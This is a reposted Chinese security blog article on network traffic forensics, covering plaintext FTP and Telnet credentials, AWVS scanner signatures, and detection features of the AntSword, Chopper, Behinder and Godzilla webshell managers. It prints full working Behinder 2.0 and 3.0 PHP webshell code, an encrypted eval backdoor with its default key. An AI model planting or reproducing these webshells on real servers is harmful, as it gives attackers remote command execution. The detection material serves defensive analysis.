协议及webshell流量分析

admin 2022年5月10日02:46:41评论161 views字数 4025阅读13分25秒阅读模式

协议及webshell流量分析

FTP在传文件时:

FTP客户端程序先与服务器建立连接,然后向服务器发送命令;
服务器收到命令后给予响应,并执行命令。

如下图所示,可以看到ftp传输的所有信息,FTP是明文形式传输数据包,我们能在info中看到登录FTP的用户名、密码、执行命令等。
协议及webshell流量分析
客户端首先与FTP服务器TCP三次握手建立连接,建立连接成 功后,FTP服务器返回状态码220,表示服务就绪。
协议及webshell流量分析
FTP服务器返回状态码220 特征:File Transfer Protocol (FTP) 220 Welcome to the FTP Serverrn Response code: Service ready for new user (220) Response arg: Welcome to the FTP Server
向FTP服务器发送登录用户名:ftp并等待验证,用户名验证通过后,FTP 服务器返回状态码331,表示用户名验证已通过并需要输入密码。
协议及webshell流量分析

特征:
File Transfer Protocol (FTP) USER ftprn Request command: USER Request arg: ftp 使用了FTP协议,输入的用户名为ftp,请求的命令是USER,请求参数为ftp。

服务器返回331,用户名验证通过(存在此用户名) File Transfer Protocol (FTP) 331 User name ok, password requiredrn Response code: User name okay, need password (331) Response arg: User name ok, password required

将登录密码:123456发送给FTP服务器,FTP服务器验证后返回状态码 230,表示用户已经登录。
协议及webshell流量分析

特征:
File Transfer Protocol (FTP) PASS 123456rn Request command: PASS Request arg: 123456 输入的密码为123456,请求的命令是PASS,请求参数为123456。

服务器返回230:File Transfer Protocol (FTP) 230 Password ok, continuern Response code: User logged in, proceed (230) Response arg: Password ok, continue

终端向FTP服务器发送命令,FTP服务器返回状态码 200,表示命令执行成功。
协议及webshell流量分析
特征:
执行命令:File Transfer Protocol (FTP) PWDrn Request command: PWD 服务器返回200:File Transfer Protocol (FTP) 200 Connection established (60309)rn Response code: Command okay (200) Response arg: Connection established (60309)

telnet

主机输入一个字符就发送一个Telnet报文(登录登出、执行命令均是如此)
协议及webshell流量分析
协议及webshell流量分析
对telnet进行爆破,对其中一个进行查看,发现使用明文传输,可以看到爆破的密码
协议及webshell流量分析
协议及webshell流量分析
特征:Telnet Data: qwertyr

AWVS

若是使用AWVS扫描器对网站进行扫描攻击,拿到流量包进行查看,会发现大量的TCP数据和HTTP数据,可先进行筛选HTTP数据,查看Hypertext Transfer Protocol(应用层的信息),会发现AWVS特征,如下图所示。
协议及webshell流量分析

蚁剑

上传并执行命令:
协议及webshell流量分析
数据:
协议及webshell流量分析
特征:
(1)HTTP请求中含有antSword,如下所示:User-Agent: antSword/v2.1
协议及webshell流量分析
(2)每个请求体都存在@ini_set(“display_errors”, “0”);@set_time_limit(0)开头(有的工具会将这段编码或者加密,而蚁剑是明文),并且存在base64等字符,响应包的结果返回格式为 随机数 结果 随机数。
协议及webshell流量分析
post数据url解码:
协议及webshell流量分析
响应包格式:
协议及webshell流量分析

菜刀

(1)菜刀中,@ini_set(“display_errors”, “0”);@set_time_limit(0)是base64编码

(2)菜刀伪造User-Agent,其UA为伪造成百度爬虫
协议及webshell流量分析

冰蝎

冰蝎2.0

冰蝎的通信过程可以分为两个阶段:

1. 密钥协商 2. 加密传输

服务端支持open_ssl时,使用AES加密算法,密钥长度16位。

上传shell.php为例

<?php @error_reporting(0); session_start(); if (isset($_GET['pass'])) { $key=substr(md5(uniqid(rand())),16); $_SESSION['k']=$key; print $key; } else { $key=$_SESSION['k']; $post=file_get_contents("php://input"); if(!extension_loaded('openssl')) { $t="base64_"."decode"; $post=$t($post.""); for($i=0;$i<strlen($post);$i++) { $post[$i] = $post[$i]^$key[$i+1&15]; } } else { $post=openssl_decrypt($post, "AES128", $key); } $arr=explode('|',$post); $func=$arr[0]; $params=$arr[1]; class C{public function __construct($p) {eval($p."");}} @new C($params); } ?>


上传并执行命令:
协议及webshell流量分析
上传shell并执行命令数据包:
协议及webshell流量分析

密钥协商

客户端以get/post形式发起请求服务器密钥,由上图可以看到发送两次get请求,分为两次get握手请求,第一次请求服务端产生密钥写入session,第二次请求获取后续解密使用的 key。下图所示的 d7931a0d0b6de197就是解密后续代码的key。
协议及webshell流量分析
加密传输

post发送及服务端返回数据均加密通信,如下图:

1)客户端把待执行命令作为输入,利用 AES 算法或 XOR 运算进行加密,并发送至服务端;2)服务端接受密文后进行 AES 或 XOR 运算解密,执行相应的命令;3)执行结果通过AES加密后返回给攻击者。
协议及webshell流量分析
使用d7931a0d0b6de197对post数据进行解密,发现解密后数据还进行base64编码,可以直接base64解码

(后续数据包均使用d7931a0d0b6de197作为密钥进行AES解密,得到的数据进行base64解码,即可看到明文数据)
协议及webshell流量分析
查看执行命令数据包:
协议及webshell流量分析
进行AES解密:
协议及webshell流量分析
base64解码,可以查看到我们执行的命令:
协议及webshell流量分析
同样的操作对返回数据解密
协议及webshell流量分析
查看结果如下:
协议及webshell流量分析
特征字段

(1)Accept与Connection

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

默认情况下,请求头和响应头里会带有 Connection,Connection: Keep-Alive
协议及webshell流量分析
(2)密钥传递阶段,密钥存在于Response Body中
协议及webshell流量分析

冰蝎3.0

采用预共享秘钥,全程无明文交互

上传shell.php

<?php @error_reporting(0); session_start(); $key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond $_SESSION['k']=$key; $post=file_get_contents("php://input"); if(!extension_loaded('openssl')) { $t="base64_"."decode"; $post=$t($post.""); for($i=0;$i<strlen($post);$i++) { $post[$i] = $post[$i]^$key[$i+1&15]; } } else { $post=openssl_decrypt($post, "AES128", $key); } $arr=explode('|',$post); $func=$arr[0]; $params=$arr[1]; class C{public function __invoke($p) {eval($p."");}} @call_user_func(new C(),$params); ?>


上传并执行命令时数据包:
协议及webshell流量分析
执行命令:
协议及webshell流量分析
上传数据包:
协议及webshell流量分析
使用AES解密 (密钥为shell.php连接密码32位md5值的前16位)
协议及webshell流量分析
将解密出的内容base64解码
协议及webshell流量分析
$content这个变量名称和里面的内容为随机生成的, 目的是为了绕过$Content-Length
响应包内容:
协议及webshell流量分析
先进行AES解密
协议及webshell流量分析
对msg内容base64解码,得到的与客户端发送的$content一致,验证通过
协议及webshell流量分析

参考:https://xz.aliyun.com/t/9404#toc-1

哥斯拉

(以2.9.6为例)

生成并上传test2.php:
协议及webshell流量分析
执行命令:
协议及webshell流量分析
数据:
协议及webshell流量分析
查看数据包,第一个包响应为空:
协议及webshell流量分析
特征字段:

(1)User-Agent:哥斯拉客户端使用JAVA语言编写,在默认的情况下,user-Agent显示为:User-Agent: Java/1.8.0_271(具体什么版本取决于JDK环境版本)

(2)AcceptAccept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2冰蝎中也出现过同样的Accept。

ps:以上特征可以通过自定义http头部进行去除。
协议及webshell流量分析
(3)Cookie:``Cookie: PHPSESSID=rut2a51prso470jvfe2q502o44;cookie最后面存在一个“;”
协议及webshell流量分析

该内容转载自网络,更多内容请点击“阅读原文”

协议及webshell流量分析

原文始发于微信公众号(web安全工具库):协议及webshell流量分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月10日02:46:41
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   协议及webshell流量分析http://cn-sec.com/archives/993773.html

发表评论

匿名网友 填写信息